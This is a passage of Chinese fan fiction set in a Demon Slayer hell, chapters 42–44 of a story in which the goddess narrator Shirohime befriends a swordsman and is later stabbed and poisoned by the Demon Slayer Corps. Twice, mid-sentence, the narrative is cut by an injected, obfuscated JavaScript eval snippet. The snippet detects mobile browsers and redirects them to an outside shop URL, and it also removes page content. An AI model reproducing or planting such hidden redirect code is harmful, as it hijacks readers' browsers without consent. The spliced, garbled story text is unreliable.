“以防万一。”我说,“你想想看,这里目前有三个开了斑纹的柱,咱们一人分一个的话,早云很可能是你跟你哥哥的对手。早做准备,对你们有好处。” “可我看他人还不错诶…”小梅居然有点犹豫,“也许我们可以试试说服他站在我们这边?” “很难,他们能在这里守四百年的门,就说明执念非同寻常。况且他们都有家人死于鬼的手中,背负血海深仇的人,不会对敌人有丝毫的怜悯。” 谢花梅竟然罕见的犹豫了。 “神明大人,我有点想不通,人类和鬼,到底是哪一边出了问题?” 她看着门外,漂亮的蓝眼睛中第一次闪现出迷茫,“在吉原,弱小的、丑陋的、没有用的人,都是没有资格活下去的,我和哥哥为了活着,真的拼上所有力气了。即使变成鬼,也只是为了活着而已,说到底,我们吃人,就像人活着也要吃鸡和鱼一样,吃的也不是他们的亲人,为什么他们这样恨我们?” “大概是因为你们曾经是人类,又变成了他们眼中的异类吧。” 小梅茫然的看着我。 “因为你们曾经是人类,他们默认你们应该遵守人类的道德和规则,但你们脱离了这些规则,变成了比他们强大、以他们为食的生物,这首先让他们感到恐惧,其次是失去掌控的耻辱感,因为你们的存在,他们数千年来建造起的一切规则,都受到了挑战。” 我摸了摸她柔软的银白色头发:“但这件事其实不是哪一方的错,大家都是为了自己的生存而战斗罢了。如果这些人能教会我们什么,我希望是,不要执着于自己的仇恨,否则就等于主动放弃未来的幸福。” “我听不懂…”小梅叹了口气。 “那我换个说法。”我对她微笑,“不在战场上,我们可以做朋友,但一旦战场交锋,犹豫就会死。这次能听懂吗,小堕姬?” 小梅略带惊恐的看着我。我猜她大概是懂了。 早云带来的竟然是红豆羊羹。这东西我得有几百年没吃过了,几乎忘了是什么味道。不过我依然想不明白,他们是用了什么方法把点心如此逼真的投影到地狱里来的,这东西真的能吃吗? 呃,不会是盂兰盆节的供品吧? 在我表达了如此疑问后,早云解释道:“这个其实不是投影啦,就是真的点心,千越有办法通过这里的‘门’把人世的东西传送过来。” 看来守门有特权啊。我默默感慨。 舀了一勺放进嘴里,我品尝到了那久违的甘甜。 “味道真不错,要是有金木犀撒在上面就更好了。“ “染小姐说的是…?” “就是桂花啦。”我笑道,“在江户那边,红豆羊羹配上桂花,是秋日的时令点心呢。” “染小姐说的吃法好讲究。”早云难为情的挠挠头,“我其实也没怎么吃过这东西,只记得有一年家父多挣了些钱,给我和妹妹买过,妹妹喜欢的很,我没吃上几口,就全被她抢走啦。” “你有妹妹?”我惊讶道,“还是第一次听你提起。” “是啊,我有个妹妹。”早云脸上泛起怀念的神色,“她叫鹤子。” 我突然有种不祥的预感。 “她不会也是…被鬼吃了吧?” 不出所料,早云的目光暗淡下去。 “我加入鬼杀队的第五年,她从家乡来看我,都已经快到了,遇到鬼的袭击…我们赶过去时,却发现她被变成了鬼……最后我只能亲手用日轮刀砍了她的头。“ “变成鬼为什么就一定要死?!“ 我不知道自己为何突然失去了冷静,早云显然也被我吓了一跳。 “染小姐…你不知道吗?鬼是要吃人的…” “那又怎样呢?就算变成了鬼,也还是曾经的那个人吧!难道可以没有一点留恋的斩杀对方吗?为什么不能想想办法?为什么就这么轻易的放弃呢?!” 早云好像完全被惊呆了,我在他的瞳孔里看到了自己脸上数百年来未曾有过的愤怒。 小梅跑过来拽我的衣袖,甜甜的说:“阿姐,你怎么啦?这家伙惹你生气了吗?我们把他赶出去好不好?” 我深吸了一口气,努力让自己发热的头脑冷却下来。 “抱歉,我只是不能理解…那些关于鬼的事。” “对不起…” 早云有点愧疚的说道。 “让染小姐难过了吗?我妹妹的事…真是抱歉啊…” 他垂下眼帘,“你说的没错,即使变成了鬼,那也是我妹妹,是我的亲人…但当时我没有别的选择。鬼杀队的规则就是如此,哪怕是生身父母,变成了食人恶鬼,也必须予以斩杀…那之后过了很久,才听说珠世大人研究出了把鬼变回人的药,但我妹妹没有那么好的运气……” 青年的脸上浮起苦涩的笑,“归根结底,人类是软弱的啊…自己熟识之人变成吃人的怪物…虽然心痛的想死,但还是会…害怕啊……” 害怕吗? 说一点都不怕,那是谎话。对能够吞食自己的存在,所有的生物都会恐惧,这是本能。 但是…有些东西会超越恐惧而存在。 比如一份珍贵的记忆,里面铭刻着世界最初的模样,那个有阳光普照、有樱花盛放、还存在着思念与希冀的世界。而那山巅冰雪般的美丽灵光,还没有被尘世百年的血海染污。 正因为一切都已经来不及,才更加无法松开记忆里的那只手。 “能够理解。”我叹息道,“是我太过主观了,大家都有自己的难处,也有自己的选择,只要不后悔就好。” “如果世上没有鬼,就不会有像我妹妹那样悲惨的少女。”早云低声说,“从那一天起,我就发誓要斩杀恶鬼到我生命的最后一刻。“ “你错了,早云。”我悲哀的看着他,“就算世上没有鬼,也会有战乱、有饥荒,有用女孩子献祭的大名,也有被武士□□、活活烧到只剩一口气的悲惨少女。而人类只是习惯将自己的罪孽全都推到异类身上而已。” 小梅抓紧了我的衣袖。 我明白是我一时失了理智,导致气氛过于紧张,这的确没有必要。 “为了感谢你的点心,不如我们换点轻松的事来做?”我笑道,“你们平时难道就没有什么娱乐吗?” “娱乐?”早云认真的想了想,“我和宗正有时候会玩双六,这个算吗?” “你们几岁了?”我忍不住嘲笑他,“那是小孩子才玩的东西吧?我们来比刀法怎么样?” “我不跟女孩子打。”他居然颇为认真的说,“况且是染小姐这么漂亮的女孩子,如果受伤的话岂不是暴殄天物?” “看不出你还挺有武士精神,不会是怕输了面子吧?”我拿出惯用的激将法,“不如我们打个赌,如果你赢了,等我回到人世了,在神社里给你立个神主牌,争取早日把你超拔出地狱?“ “我要那东西干什么!”早云哈哈大笑,“比就比,但先说好了,只比刀法,我的呼吸法只用来斩鬼,不拿来砍人。” 选了林中一块空旷的地方,我缓缓将长刀抽出,早云看着我的刀,微微怔了下。 “怎么了?”我问,“有什么问题吗?” “染小姐的刀好奇怪…不知为什么,看起来并不是一把能杀人的刀呢。”他笑笑,“神官的刀都是这样吗?不对,染小姐的话,应该叫巫女才对吧?” “……你话真多,比还是不比?” 早云握住刀柄的时候,突然像换了一个人,先前那温润散漫的感觉荡然无存。 至此我才第一次看清他腰上的那柄刀,黑色的刀鞘足有手掌宽,椭圆的刀锷上刻着云纹,随着一声清越的铮鸣,一把奇特的、泛着电蓝色弧光的反曲刀出现在我眼前。 真是把好刀。从刀身的宽度和厚度来看,挥动时的力量应该非常强。 “你这是斩鬼的刀还是杀牛的刀啊?看着不是普通的钢铁呢。”我惊讶的说。 “日轮刀是用猩猩绯铁砂打造的,能吸收阳光,只有用这个才能砍断鬼的脖子啦。”早云嘿嘿一笑,“染小姐要小心,我的刀可是很锋利的。” 说罢他身体微微向前一倾,下一刻竟然已到我眼前。 好快! 我横刀格挡,虽然他没有使用呼吸法,但刀刃彼此撞击时的力道依然震到我手臂发麻。于是我微微侧过刀身,灵巧的卸掉了他刀上的力量,顺便手腕一转,直刺向他的脖子。 早云眼中掠过一丝错愕,马上闪开了我的刀锋,退出了几步。 “染小姐的身法好奇怪,而且说好了是比试,怎么上来就是杀招啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暮色浸染了神社破败的鸟居。那个孑然一身的背影,踏着遍地血一般的晚枫走出门去,始终没有回头,仿佛早已看透人世,天地之间再无留恋。 他来过荒川神社,尽管迟到了十二年。 他来过。 而当时几乎失去了神力,仅存灵体的我,连呼唤他的声音都无法发出。 ——停下,不要再往前走。 ——停下,前方就是永夜,是地狱啊。 那大概是我漫长的生命中,第一次体会到何为无力,无力到只能化为蛇形,将那把被孤零零留在神坛上的小刀吞入腹中。 我甚至还记起了它的气味,是白檀和乳香,以及混在其中的,一线淡薄的莲花香。 极乐教的神子,终其一生,都没能听到来自神灵的声音。 “染小姐,你这是怎么了?”耳边传来早云略带惊慌的声音,“不要抓刀刃啊,手都流血啦!” 我终于回过神来,看着染了一片血色的刀刃,只觉得心痛不已。 对不起啊,即使是神灵,也有没能做到的事。 “没什么,只是突然想起一些旧事。这刀原本是我赠与友人的礼物,因为某些原因被他退回,那人心性淡漠,我一直以为他并未放在心上,但是……我送他的时候,上面是没有刻莲华纹的。” “那必定是在退回之前刻上的了。”早云思索道,“这花纹看着有些年头了。看来染小姐的这位友人,心中也很看重染小姐呢。” “不会的,那不可能!” 我如此说着,却再也没法控制自己的眼泪。 “诶?别哭啊!我最怕女孩子哭了!”早云一副不知所措的样子,“这么点事,有什么大不了的?再见面时问清对方心意不就好了?你们女孩子真是麻烦!” “可他死了啊!”我哭着抱紧了刀,“他死了啊!我没能救他!我什么也没能做到啊!” 我无论如何都想不到,居然能在地狱里,当着一名鬼杀队的柱,把憋了许久的眼泪哭了个痛快。 感觉这几个月流的眼泪比我过去两百年里加起来都多,如果不是谢花梅带着一副要杀人的表情冲过来,拿起根树枝子狂殴早云,大概我还会继续哭下去。 丢人,真是丢人丢到家了。 我刚擦干眼泪,就听到不远处传来珠世的声音: “染小姐?出了什么事吗?怎么周围的树都倒了?” “好久不见,珠世小姐。”我迅速收敛了情绪,朝她微微一笑:“是我和早云在切磋刀法而已。” “对,真的没有打架!小白小姐不要再打我了!”早云边挨揍边解释。 珠世依然是那副温柔但令人捉摸不透的表情。 “染小姐请随我来一下吧,”她说,“主公要见你。” 42. 白姬(9) 我第一次踏入这位姓“产屋敷”的主公的宅邸,先前觐见时是在院子里,因此没有感受到屋子本身的玄妙。跟着珠世沿着长长的走廊进去后,我才发现这座宅邸基本上是被各种符咒包起来的,这些符咒与其说起到保护的作用,不如说更像是在镇压什么东西,越是靠近屋子中心的位置,那种宛若实质的压迫感就越让人不舒服。 但珠世和路上遇到的几个身披白羽织的队士皆是泰然自若,不知是已经习惯了这种怪异的、真空一样的环境,还是只有我对灵力场格外敏感。 “是这里了,染小姐请进。”珠世低头拉开了一扇绘着紫藤花的纸门。 纸门背后是一座宽敞明亮的厅堂,却让我遍体生寒。 如果我的感知没有出错,这座厅堂的地下聚集着成千上万只死灵,或者说,它们已经不再以个体的方式存在,而是形成了某种类似“湖泊”的东西,像是三途河那样,向四面八方蔓延出自己的脉络。可能是因为符咒的缘故,这座“湖泊“并不活跃,但这种相当于在自己家的客厅底下装了个炸药库的行为,还是让我对这位看似温和柔弱的产屋敷主公产生了深切的寒意。 我曾经以为只有童磨那种人性缺失的鬼才对生死毫无计较。但这位主公应该是纯粹的人类,看起来年纪也不大,他究竟是怀着怎样的一颗心,才能如此看淡自己和他人的生死? “主公大人吉祥安康。”我跪在地上,双手指尖对齐,行了个女子专用的拜礼。 “染小姐不用客气。”那位年轻的主公笑道,“您是客人,不必像那些孩子们一样对我行礼。况且今日将您请来,也只是因为您和令妹来此多日,我还未尽地主之谊,实是惭愧。虽然这话有些唐突,但还请您将这里当作自己家中,随意便可。“ 他指了指一旁的矮桌,上面已经摆好了茶和果子。我便知趣的走到矮桌前坐下。 “我听珠世小姐说过您的事。”主公大人微笑道,“染小姐是神官家族的后裔?碰巧产屋敷一族也一直与京中的神官家族联姻,也许我们祖上还是熟识的呢。” “啊,我家的神社早已没落,没有什么名气。”我斟酌着词句,“家中祖辈是江户城柳生家的旁支,因为厌倦了战乱才隐退,受将军大人的恩惠建立了荒川神社,用于祭祀荒川的水神。” “染小姐竟是著名的剑豪柳生三严的后裔么?”主公大人面露惊喜之色,“难怪我看您用的是武家的礼仪!听珠世小姐说,您的剑术也非常了得?是家中有传承吗?” 大概算是有传承吧?如果把柳生大人一家子吃了也算的话。 “只是旁支,没得到什么真传。但家父在世时确实会教导我习练剑术,世道不太平,我这一代又只有我和妹妹两个女孩子,仅为自保罢了。” “染小姐实在过谦了。”主公温和的说,“我通过符咒看到了您和早云的切磋,能用如此纯熟的剑术比拼雷柱,应该是受过严格的训练吧!真是令人敬佩!” 竟然在监视我吗? “那是早云让着我。”我微笑道,“他是个很好的人。” “早云的确是个优秀的孩子。看样子你们相处的很融洽,我非常欣慰。”主公说,“不知他是否向你讲过鬼杀队的来历?” “略微讲过一些。”我点点头,“你们都是和鬼有血海深仇的人。” “染小姐可能误会了,鬼杀队斩杀恶鬼,并非为私仇,而是为大义。”主公解释道,“正因为大家都被鬼夺走过重要的家人,才发誓要守护弱者,不让他人经历我们所经历的痛苦。” “我能理解失去家人的痛苦。”我说,“但我听说那位鬼王无惨已经战败,被囚于地狱的某处了。如此一来,世上就已经恢复太平了,您应该让早云他们放下执念去转世才对。” “染小姐有所不知,虽然鬼舞辻无惨已然伏诛,但他造下的罪孽却远未结束。一千多年来,他所创造的恶鬼被斩杀后灵魂都会堕入地狱,而我等在此镇守的意义,就是彻底诛灭其中那些罪孽深重、又不肯忏悔的无可救药之辈。这数百年本来一直没出什么乱子,但自从上次损失了三十八名队士后,我们担心,在和无惨一起堕入地狱的上弦中,很可能出现了实力超越无惨的鬼,而我们至今未能发现其踪迹。” 主公叹了口气,“上弦鬼皆是杀人无数的怪物,又摆脱了无惨的控制,如果放任不管,很可能会出现一位比无惨还要强大可怖的鬼王,一旦冲破了地狱的界限回到人世,势必将再次掀起腥风血雨。” “主公大人未免也太过悲观了。”我不动声色的说,“我虽然对鬼这种存在不甚了解,但我想众生沦入鬼道,必然是有其原因,不尝试了解原因,而急于解决由因所产生的果,那么人和鬼的争斗只能永无止境。” 主公脸上露出了略微疑惑的神情。 “我倒是第一次听到这样的说法。染小姐认为,鬼因何而成鬼?” “我不知道,但我想应该和人走上歧途差不多。或是因为怀有执念,或是遇到了走投无路的时刻,亦或只是命运使然。在我看来,鬼和人没有什么不同。” “真是奇妙的高见啊。”主公大人笑道,“染小姐的见识和气量,令我等自愧不如,不愧是武家出身的女子。” “不敢当。主公大人对我们姐妹有救济收留之恩,作为报答,我也应当对您直抒 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“产屋敷一族本是鬼舞辻无惨的族亲,因为无惨变成了祸乱人世的鬼王,这一族便由此遭受了神明的诅咒,家中的男性都短命早夭,后来与神官家族通婚,才留下后代,但也很难活过三十岁。”珠世轻声说,“我们的这位主公更是可惜,明明年轻有为,却赶上了当时的月柱背叛鬼杀队,被其斩下头颅献给了无惨,当时担任护卫的宗正大人也一起殉职了……” 我忍不住笑了出来:“这是什么见鬼的神明?一人变鬼,整族遭受诅咒?看来这神明要么是怕鬼怕的厉害,要么就压根不讲道理。” 珠世看了我一眼,无奈道:“染小姐不可口出狂妄之言,你既是神社中长大的巫女,就该明白天道并非凡人可以揣测。” “天道嘛,就像町奉行,你真等它的时候,它永远也不来,你彻底不理它,过自己的日子,它反而叫着嚷着要来罚你。”我笑道,“这种不称职的东西,遇见了就得狠狠抽它的脸才对。” 珠世也被我逗的忍俊不禁,“难怪染小姐和早云合得来,看不出你这么会讲笑话。” “过奖过奖,我讲笑话的本事,其实是跟个脑子有病的家伙学的。” 说着说着已经走到了住处门口。珠世说道:“差点忘了,方才早云告诉我你被刀割伤了手,我特意带了药来。伤的严重吗?给我看看。” 我伸出左手,手上完好无损。 又伸出右手,依然完好无损。 “诶?我都忘了伤的是哪只手了。”我尴尬的笑了笑,“伤的不严重,已经长好啦。” 珠世露出了一抹惊讶的微笑,“染小姐的恢复能力真是厉害。没事就好,那我就先回去啦。” 43. 白姬(10) 直到第二天,早云才悻悻地来找我,见面就抱怨: “被主公教训了好半天,说染小姐是客人,我不该无礼的跟客人比试剑术…”黄发青年苦着脸说,“还说你好像不喜欢我们这里,急着离开呢。” “没有那种事。”我感觉他理解错了,“是你们主公让我帮忙一起对付鬼,我不想做罢了。我又不是你们的人,没必要听他的吧。” “主公大人是很伟大的人,”早云认真的看着我,“染小姐多了解他就会明白了,鬼杀队就像一个大家庭,你慢慢就会喜欢上这里的。” “是嘛,我可听珠世说,先前你们的月柱就叛变了,连主公都被砍了脑袋。” “那是个意外。”早云看起来也有点不自然,“月柱…严胜大人他品性高洁,却实在有些心胸狭隘,我们也不知道他为什么会被无惨诱惑…可能是接受不了开了斑纹会早死这件事吧。” “很显然,你们没一个人能接受啊,否则怎么死了还跑到地狱里追着鬼砍?”我咬了一口他带来的果子,“早云,你都在这里呆了四百多年了吧,就没想过离开这里去转世吗?” 他脸上掠过一丝犹豫,“我不想离开主公他们,还有宗正,虽然说话难听,但以前他就像兄长一样保护我。我第一次出任务遇到鬼就受了重伤,如果不是宗正一路背着我,我肯定没法活着回去的。我…很喜欢大家。” “早云真是个温柔的人啊。”我看着他微笑,“如果人类都像你一样就好了。” “哈哈,这是什么话啊,说的好像染小姐你不是人类一样。” “所以这里只有你们三个有斑纹?我好像没怎么见到其他的…你们叫‘柱’的那种人?”我问道。 “对,只有我们三个开了斑纹。其他的队士住在东面的别苑,柱级队士有自己单独的住处。“ “看不出啊,你们有这么多人嘛?”我惊讶的说,“我怎么觉得这地方不太像有几百人的样子?” “其实没有那么多人啦,常驻的只有不到两百人,”早云见我爱吃,又递给我一个果子,“我也住在那边,染小姐如果闷得慌,我可以带你去跟大家认识一下。还是那句话,也许相处久了你会喜欢上大家呢?” “好啊!但你别想骗我留下,”我嘻嘻一笑,“我可要带妹妹回到人世去的。” “我知道啊,珠世大人说过,染小姐已经有心仪的对象了。我一个已死之人,也只有祝愿你往后的人生都能幸福顺遂吧。” 我愕然的回过头,那青年却移开了目光。 “但至少这段时间,请安心的待在这里吧。我会跟千越说,让他……” “谢谢你,平八郎。” 早云的脸又红了,“嘿嘿,染小姐这么说,是把我当朋友了?” “是的,你是我的朋友。” 我真诚的对他说。 于是隔了一天,早云还真带着我跑去了这支鬼杀队的驻地。这个区域用木材和干草搭建了大量小屋,看起来如同以前围绕在江户城附近的那些城下町,屋子的檐廊下种着植物,甚至在门口建有炉灶,很有些人间烟火气。 我吃着早云塞给我的烤红薯,一时以为自己回到了两百年前的江户。 “染小姐真可爱啊,竟然像普通女孩子一样喜欢吃甜食吗?”早云抱着一堆别人送的零食,看起来像个货郎,“早知道我就多给你送些点心了。” “怎么,我看着哪里不像普通女孩子了?”我翻了个白眼,“我只是从小生活在神社,又不是不出门。” “不是那个意思啦,只是最初见你时感觉你像个女武士一样,特别厉害的样子,说话又很干脆。再说普通女孩子哪有用长刀的?”说着他又递给我一个小包,“喏,这个给你,是我的珍藏哦。” 我打开小布包,发现里面是几十颗白色的糖。 “是金平糖啊!好怀念!” “哈哈哈,你这是多久没吃过糖了?” “确实很久没吃过了…” 我拈起一颗糖放进嘴里,感受它在舌尖缓缓融化,只剩下纯粹的甜。那一刻,似乎过往两百年所有的苦涩,都随着这一缕甜味而得到了宽恕。 ……要留给那孩子哦,毕竟他都没怎么吃过糖呢…… 我不禁微笑起来,小心的包好剩下的糖,揣进了怀里。 只要两人都活在世上,就总有重逢的那一天。 我曾经如此相信着,现在也依然如此相信。 所以,不需要软弱,也不需要茫然。 没有通往未来的路,就用自己的双手打开一条路。 “诶?宗正,你今天怎么没去当职?” 早云的声音让我回过神来。看到面前高大的灰发男人,我本能的生出一丝警觉。 但这次他似乎没有喝醉,也不像初次见面时那样嚣张,只是冷漠而犀利的瞥了我一眼。 “平八郎,你这小子可以啊,带着女人逛街?” 早云一副无可奈何的样子,“染小姐是主公的客人,主公说了要好好招待她,你不要每次都这么凶,人家是女孩子啊…” “我看你是几百年没见过漂亮女人憋坏了。”宗正讽刺道,“我家就在前面,要不要带着你的女人去喝酒?” “哈哈,那我可要好好享受一下,染小姐,宗正自己酿的酒可是相当棒的,一起去尝尝吧?” 对方难得没有表露出敌意,我也不好再说什么,只得点了点头。 宗正的屋子位于町的边缘地带,四周光秃秃的,连树木都没有,檐廊下码着一排酒瓶子。 死了还在酗酒的,我也是第一次见。 但酒的香味闻起来很不错。我看着面前的黑陶碗,怎么看都是很清澈的、普通的米酒。 “喝吧,没下毒。”那男人冷冷的说。 “抱歉,我不喝酒。”我笑笑。 宗正扯出一个难看的笑,脸上那道疤显得更可怕了。 “随便你。”他自己拿起碗一饮而尽,顺便也把我面前那碗喝了。 我皱眉,正想找个什么理由拉着早云溜掉,却听早云劝道: “你也少喝点吧,万一有紧急任务,喝多了会影响感知的。” “我死都已经死了,还会怕鬼吗?“宗正答非所问的说,“况且最近风平浪静的很,什么上弦鬼,十有八九是被吓得藏起来了,我还以为有多厉害,徒有虚名罢了。” “上次那三十八人可不是别的东西杀的,”早云提醒他,“他们连消息都没来得及传回来,特别是其中还有四位柱,普通的鬼根本做不到在这么短的时间内杀光这个数量的队士。宗正,千万不要轻敌。” 宗正沉默不语,端起酒碗又喝了一大口。 “这次解决那个上弦鬼之后,我们就隐退吧。”早云忽然说,“已经四百年了,听说人世也已经……” 啪! 酒碗碎了一地,宗正站了起来,指着早云的鼻子骂道: “平八郎,我看你是被女人迷昏了头!我们看的这么紧,这些鬼里还有漏网之鱼,要是我们撤了,它们卷土重来怎么办?撤也可以,我要先把那个继国严胜砍成一千块再说!” “那是日柱大人的哥哥,主公说过不能碰他!”早云也有点急了,“宗正,你以前不是这样的,戾气这么大,和鬼有什么区别?” “我没你那么多杂七杂八的心思!你们全都忘了吗?鬼对我们做了什么?!不到杀光最后一只鬼,我绝不隐退!” 门口有说话的声音打断了这两个剑拔弩张的男人。 “宗正大人,主公有传话给您。” 宗正气哼哼的走出去门去,过了片刻又沉着脸走了回来。 “主公要见这女人。”他指了指我,“说是找到了送她们回去的办法。” “啊,这么快吗?”早云站起身,“我也一起去。” 再次来到产屋敷主公的宅邸时,那里依然非常冷清,只有珠世和那个叫千越的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252320|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僧人在,此外还有一名披着白羽织的不认识的队士。 主公微笑着跪坐在矮桌后,让珠世为我倒了一杯茶。 “十分抱歉,隔了这么短的时间,就又打扰染小姐了。其实我和千越这些天一直在寻找能将您和妹妹送回人世的办法,现在终于有了头绪。千越,”他示意那位僧侣,“展开时轮的投影吧。” 一幅熟悉的画面在半空中浮现,尽管鸟居已然褪色、注连绳早已不知所踪,但通往山上的那条石阶小路和路两侧的樱花树,依然是两百年前的样子。 我仿佛看到白衣的女孩子拉着黑衣的男孩子一路跑过,嬉笑声如银铃散落在春风里。 恍若隔世,也确实隔了一世那么遥远。 “通过‘时轮’的定位,我们找到了染小姐所说的‘荒川神社’,还请您确认一下,是否是这座神社?“ 我垂下眼帘,压制住心中的情绪,“的确是我家的神社…多谢主公大人。” “那就没错了。”主公笑着说,“我马上让千越准备一下,为你们开启‘时轮’的通道。在那之前,还请染小姐稍等片刻,在上次和您的谈话后,我有几个问题不得其解,想向染小姐请教。” 我满脑子都是怎样把关于这通道的信息传给谢花梅,于是深深低下头,心不在焉的答道: “请教不敢当,我必知无不言。” “那么染小姐请先向我解释下,您究竟为何物?” 我全身骤然冷了下来,当意识到那冰冷的源头是顶在我背后的刀尖时,我轻轻闭上了眼睛。 大意了。 主公温柔的声音接着说道:“根据我们的调查,荒川神社两百年前就已经没有巫女,现在山上的神居基本是一片废墟。请问染小姐,您和令妹是在废墟中长大的么?” “主公!这一定是误会!可能是千越搞错了地方!”我听见早云在急切的申辩,声音几乎是颤抖的。 对不起啊…平八郎。 “您能够服下雪蕨,也能够通过时轮的试炼,的确很像是人类。但您受伤以后的恢复速度,又是鬼才能拥有的。”主公淡淡的说,“直到这一刻,我依然相信您是人类,尽管您身上从一开始就带有鬼的气息,我们还是决定相信您。但请您诚实的告诉我,您究竟,是人还是鬼?” 我平静的直起身体,注视着那张清隽温和的面容。 “荒川神社是供奉水神的神社,这没有错。”我说,“但我不是巫女,我就是那个水神,神名为白姬。” 主公的脸上露出了一丝寒凉的笑意。 “您以为我会相信您这种无稽之谈吗?”他摇了摇头,“太遗憾了,染小姐,您现在仍在撒谎。” 背后的那股冰凉一瞬间透体而入。我低下头,看到穿出我胸口的刀尖,和迅速晕染开的血迹。 啊,我怀里的糖要脏了。 剧痛和奇特的麻痹感在下一秒才排山倒海而来,我低下头,吐出一口血。耳中在嗡嗡的响,过了片刻才听清是早云的咆哮声: “宗正!你他妈在干嘛?她是人类啊!你不许碰她!不许碰她!” 这傻小子,居然脾气这么差。 宗正在我身后哈哈大笑起来,一把抓住我的头发拉起我的上半身,“平八郎,你看清楚,人会这样吗?“ 他噌的拔出了刀,一溜血红喷溅在地上。我胸前的伤口却在以肉眼可见的速度迅速愈合,很快就没有了痕迹。 但身体中的麻痹感依然渗透着四肢,导致我一时无法活动。紧接着背后又是一凉,我不用看也知道,他又把刀戳了进来,还顺手在伤口里拧了拧。 “你小子看清楚,人类能这样吗?能吗?” 刀在我胸口留下个血洞,衣服基本全浸透了。看到足足四个人按住了早云,他目眦尽裂的看着我,我感觉有点胸闷。 “你…玩够了没?”我冷冷的说,“这件事和早云没关系,你们不要扯上他。先让他离开,我什么都说。” 44. 白姬(11) 看着早云被那四个人七手八脚连拖带拽的弄了出去,我才放下心来。胸口涌出的鲜血已经止住了,但麻痹的感觉还在,应该是某种毒素,我不是鬼,雪蕨对我不起作用,那只能是…… “珠世,你还是下手了。”我望着主公身边那沉默的紫眸女子,“非常不错啊,我还没遇到过能对神灵生效的毒素呢。不,让我猜猜,应该也不是针对神灵的毒,因为堕神在地狱里是珍稀物种,你们没见过。这应该只是麻痹灵力循环的毒素吧,从这里的植物中提取的?” “染小姐,是你先骗了妾身。”珠世悲哀的摇摇头,“妾身怀疑过你的身份,但最终还是选择相信你,你太让我们失望了。” “我再来推测一下。你们不知道我是什么,所以不确定用哪种方法能杀死我。砍头?那显然是不管用的。烧死我?我之前在业火之界生活了两百年,业火对我无效。”我露出了笑容,“所以你们只能把我放在这间屋子里,这里的地下全是死灵,一旦我反抗,你们就驱使这些死灵吞噬我,对吗?” “女人,你不要太嚣张了!” 宗正扯住我的头发,刀在我嘴角划出一道口子,“你再废话,我就先把你这条舌头割下来。你以为我干不出来?” “你当然干的出来,你还能每天晚上喝醉了跑到上弦之一那里去骂街呢,反正你也没别的办法发泄怨恨,宗正大人。”我扯出一个微笑,“我发自内心的同情你。” “宗正,先不要碰她。”那位名叫千越的僧侣出声道,“她现在跑不了。主公还有很多话要问她。” 宗正不情愿的松开了我的头发。又从我腰上将佩刀一把扯下,丢到了一边。 我漠然的擦了擦脸上的血,发现也擦不干净,索性作罢。 “染小姐,既然你不肯回答我的第一个问题,我们就来谈谈第二个。我们的‘隐’在对那三十八名队士失踪的地方进行残留的灵力场分析后,发现疑似你的灵力和血鬼术造成的波动混在一起。”主公让那名披着白羽织的陌生队士拿来一张纸,“我们已经知道你能够操纵水,但我们掌握的关于十二鬼月的情报中却没有你的信息。所以,你追随的是哪一位上弦?是他指使你来套取我们的情报吗?说出来的话,我们也可以考虑放你离开,毕竟抓你不是我们的最终目的。” 唉,原地翻车,这下大概要被那只鬼笑死了。 “我都说了我不是鬼,你们就是不信,我也很无奈啊。” 我确实很无奈,说了实话竟然没人相信,真是个失败的神灵啊。 宗正在我背上狠狠踹了一脚。 “请不要再使用暴力了,宗正大人。”珠世皱眉道,“妾身不能接受你如此粗暴的对待一位女性。主公,”她向主公大人行礼道,“妾身可以和染小姐聊聊吗?从妾身这些天的观察来看,她本性并不邪恶,只是可能被什么东西迷惑了。同为女性,也许妾身能劝说她打开心结。” “那就拜托珠世小姐了。”主公温和的说,“就让染小姐在此处先休息一下吧。” 他们离开后,珠世端来一盆水,坐到我面前,用一块白布蘸了水擦我脸上的血迹。 我笑了笑,接过她手中的布:“我没残废,只是灵力被你的毒封住了而已。说说吧,你是从什么时候开始怀疑我的?” “你说你没有见过鬼,但你知道妾身是鬼,却毫无畏惧,还处处替鬼说话。”珠世轻轻叹息一声,“即便是神官后裔,你也太过冷静,冷静的不像人类。再加上你的恢复能力,就很好理解了。” “你没理解,我真的是神。”我诚恳的说。 连我自己都想不到有一天我也会像童磨那样一脸神棍表情信誓旦旦的说自己是神。 然后别人还不信。 传教可真难。 “你说你之前就在地狱里生活了两百年?那你妹妹……?” “她不是我妹妹,但她是人类,这个我可以保证。”我说,“你们最好别碰她,放她离开吧,她什么都不知道。” 这种废话连我自己都知道没用,但我只能期待这群人还有作为人类的道德,顺便祈祷谢花梅的运气足够好。 珠世却点了点头,“如果她是人类,我们不会伤害她,这你可以放心。” “你不会伤害她,别人可不好说。”我淡淡道,“你们这片地方的边界出现的那种人脸的怪物,就是被死灵寄生的鬼杀队队士变成的吧?连自己的队士都牺牲掉,我很怀疑你们这位主公是否真的在意他人的死活。” “那种事情我没有听说过。”珠世皱起眉,“你如何确定?” “你自己是医生,有空你去剖一只来看看,里面残留的内脏都是人类的。”我有点懒得再解释,“说吧,你想从我身上知道什么?” “染小姐到底是怀着怎样的心情在地狱里生活了两百年呢?”珠世轻声问道,“如果妾身是为了赎罪才来到地狱,染小姐又是为了什么呢?” “我杀过人。”我淡然道,“来这里的大概都是因为杀人吧。人类这种尊贵的生物,真是碰都碰不得呢。就算是用女孩子做祭品的混蛋,你杀了他一样要下地狱,所以天道这东西,呵呵。” “但两百年的时间,也足够赎罪了。”珠世说,“你说的这个原因,我不信。” “那好吧。我在等人。” “染小姐在地狱里等什么人?”珠世笑了。 “友人,重要之人,曾救赎我之人,所爱之人。”我也笑了。 